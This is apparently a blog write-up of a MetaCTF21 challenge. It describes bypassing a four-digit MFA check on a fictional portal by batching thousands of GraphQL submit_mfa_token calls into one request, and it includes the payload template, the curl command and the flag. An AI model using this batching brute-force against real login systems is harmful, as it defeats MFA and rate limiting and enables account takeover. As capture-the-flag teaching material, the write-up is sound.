MetaCTF21: Look, if you had one shot

back · home · ctf · posted 2021-12-04 · graphql MFA abuse with a batched request
Or one opportunity. To guess one mfa code on the website. In one moment. Could you hack it? Or just let it slip? During a penetration test of Generally Quirky Labs' online websites, you stumbled across their company employee portal. After some recent brute force attacks, the security team got tired of watching hackers knock on the door all day long. So they implemented both MFA and Captcha codes, using some of the latest technologies. Unfortunately for them, they were not aware of one of the technologies' features...Note: DOSing the website by sending web requests is not the way.

Username: matthew@generallyql.com
Password: yHfm34P9@v!Ge6

Enumeration

We're given a website and credentials. Upon logging in with them, we need to provide a correct MFA token.

Upon logging in, the site hits api.php, which issues us a session token:

We enter a bogus code, and it submits the MFA (and the CAPTCHA, via a GET parameter).

API Abuse

What are we to do? The user token changes every time, and there are no apparent issues with the CAPTCHA that would allow us to easily brute force it.

The only weird thing that stood out to me at this point was the query. It looks like a GraphQL query. After some trial and error, and some very unhelpful blog posts, I figured out how to correctly "batch" requests. The idea is, we submit multiple MFA tokens in one request. In fact, why not submit all 10,000 possibilities? I was lazy and hoped the token would be between 1000 and 9000.

{
"query": "
query submit_mfa_token(
$input1000: String!,
$input1001: String!,
$input1002: String!,
// [ ... ]
$input8998: String!,
$input8999: String!,
$input9000: String!,
$usertoken: String!, $username: String!) {
    run1000: submit_mfa_token(code: $input1000, usertoken: $usertoken, username: $username)
    run1001: submit_mfa_token(code: $input1001, usertoken: $usertoken, username: $username)
    run1002: submit_mfa_token(code: $input1002, usertoken: $usertoken, username: $username)
    // [ ... ]
    run8998: submit_mfa_token(code: $input8998, usertoken: $usertoken, username: $username)
    run8999: submit_mfa_token(code: $input8999, usertoken: $usertoken, username: $username)
    run9000: submit_mfa_token(code: $input9000, usertoken: $usertoken, username: $username)
}",
"variables": {
    "input1000": "1000",
    "input1001": "1001",
    "input1002": "1002",
    // [ ... ]
    "input8998": "8998",
    "input8999": "8999",
    "input9000": "9000",
    "usertoken":"a03581c1c0362964",
    "username":"matthew@generallyql.com"
}
}

I generated each component with a bash script. A vim macro also would have worked. Once we remove all newlines (cat data | tr -d "\n"), log in through the web interface to get a valid user token and CAPTCHA, then send the request:

curl -vvv -H "Content-Type: application/json" -H "Cookie: GENERALLYQUIRKYLABS=2d48f159c3219fd4806738ab2ff19aa8" -d @data https://metaproblems.com/1b7b23a1d213dc1c4d24d998f11b0b35/generallyquirkylabs/mfa_service.php?captchacode=D2YSEB

We receive a barrage of error messages.

But in there, somewhere...

Is a successful token :)

Flag: MetaCTF{if_brute_force_doesnt_work_use_more_brute_forceeeeeeee}

If you have any questions or feedback, please email my public inbox at ~sourque/public-inbox@lists.sr.ht.